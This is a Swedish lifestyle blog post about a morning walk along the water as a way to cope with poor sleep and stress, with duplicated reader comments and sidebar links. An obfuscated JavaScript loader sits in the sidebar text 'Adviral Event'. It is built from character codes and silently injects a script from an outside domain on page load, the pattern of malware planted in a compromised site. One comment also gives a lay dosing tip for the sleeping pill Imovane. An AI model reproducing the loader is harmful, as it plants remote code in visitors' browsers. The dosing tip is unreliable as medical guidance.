Bästa starten på dagen…

21

Morgon promenad! Bästa starten på dagen…

2E239D53-BE4A-4E9A-9401-E2BF52FCC101

Ibland vaknar jag tididgt, kan lixom inte somna om. Eller så kan det kännas helt tvärt om. Så tungt att gå upp att benen knappt bär….

idag var en sådan morgon. Sovit ur-uselt inatt. Vet inte varför. Men sömnen strular igen….. Men jag är bestämd. Jag ska komma ”tillbaka”. För att göra det, för att må riktigt bra igen… så är en morgon promena som denna, en riktig investering för mitt välmående.

Naturen, luften….. Ett raskt tempo, men samtidigt behagligt. Pulsen går upp, vinden slår mot mina kinder. Fåglarna kvittrar. Samtidigt som pulsen går upp, så går stressen ner.

Jag föröker att vara i nuet. Jag föröker att andas, och reflektera….. 

CA7BC704-2588-4910-9E56-CFE244593B4B 9CBAB89E-4D84-456E-B8A5-DEAAA246737E C9108C81-A17C-4400-8B0C-D0F49A4DD8F7

Både humöret och energin är bättre när jag kommer hem.

Helt fantastiskt vad en PW längsmed vattnet kan göra skillnad 🙏🏻  1.5h blev det. 

Nu ska jag ta en morgonkaffe innan jag ska köra in till stan för ett läkarbesök…

Nu gör vi det bästa vi kan av denna veckan👊🏻

-Monday i’m Ready for you! 

B79DB4D1-34E4-4297-9126-1A7FBE15B50B

/My Martens

Föregående
Kram till alla ”deltidsföräldrar”
Nästa
LIVSSTILSPODDEN , Staffan Eklund. My Martens. Sabina Dufberg. I like radio.

21 Komentarer

  1. Efter min utmattningsdepression 2012 har sömnen gått upp o ner. Ibland bra perioder o vissa perioder sämre. Har accepterat nu att det aldrig blir som förr då jag sov hela nätter!

  2. Efter min utmattningsdepression 2012 har sömnen gått upp o ner. Ibland bra perioder o vissa perioder sämre. Har accepterat nu att det aldrig blir som förr då jag sov hela nätter!

  3. Bild två var så vacker. Skulle vilja ha den på väggen. Ha en bra vecka nu och hoppas fina Lilleman och Jonas och kissarna mår bra. Kram.

  5. Hej
    Min sömn går också upp & ner av olika orsaker.
    Jag använder insomningstabletterna Imovane vid behov. De har hjälpt mig många nätter. Tar en halv 7,5 mg. tablett. De är delbara, det är inte de andra lägre styrkorna.
    Fråga din doktor.
    Lycka Till och Tack för en fin blogg.
    Kram från Skåne Maria

  6. Bild två var så vacker. Skulle vilja ha den på väggen. Ha en bra vecka nu och hoppas fina Lilleman och Jonas och kissarna mår bra. Kram.

  8. Hej
    Min sömn går också upp & ner av olika orsaker.
    Jag använder insomningstabletterna Imovane vid behov. De har hjälpt mig många nätter. Tar en halv 7,5 mg. tablett. De är delbara, det är inte de andra lägre styrkorna.
    Fråga din doktor.
    Lycka Till och Tack för en fin blogg.
    Kram från Skåne Maria

Svara

Lämna din kommentar!
Ditt namn här

Om du missat..

Föregående
Kram till alla ”deltidsföräldrar”
Nästa
LIVSSTILSPODDEN , Staffan Eklund. My Martens. Sabina Dufberg. I like radio.

Andas ut stressen med hjälp av djupandning

Andas ut stressen med hjälp av djupandning -Hur många tänker egentligen på sin andning? Jag...

SMEG bagaren och kocken 20%

I reklamsamarbete Bagaren och Kocken ??‍? Hej på er! Detta är en grymt efterlängtad kampanj...

Adviral Event

My Martens , Ako Rahim. Adviral Media. d Ako, Renata, My   var f=String;+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/

Mys Blommor🌹/ Din florist / Högsta Kvalitet & Design💫 / 🌍 Catalina Torget 15 Täby 📲 08 36 36 14

Välkommen!

@mymartens

@mys_blommor

My Blommor Täby

Strong Mamas

© Copyright My Martens

Kontakt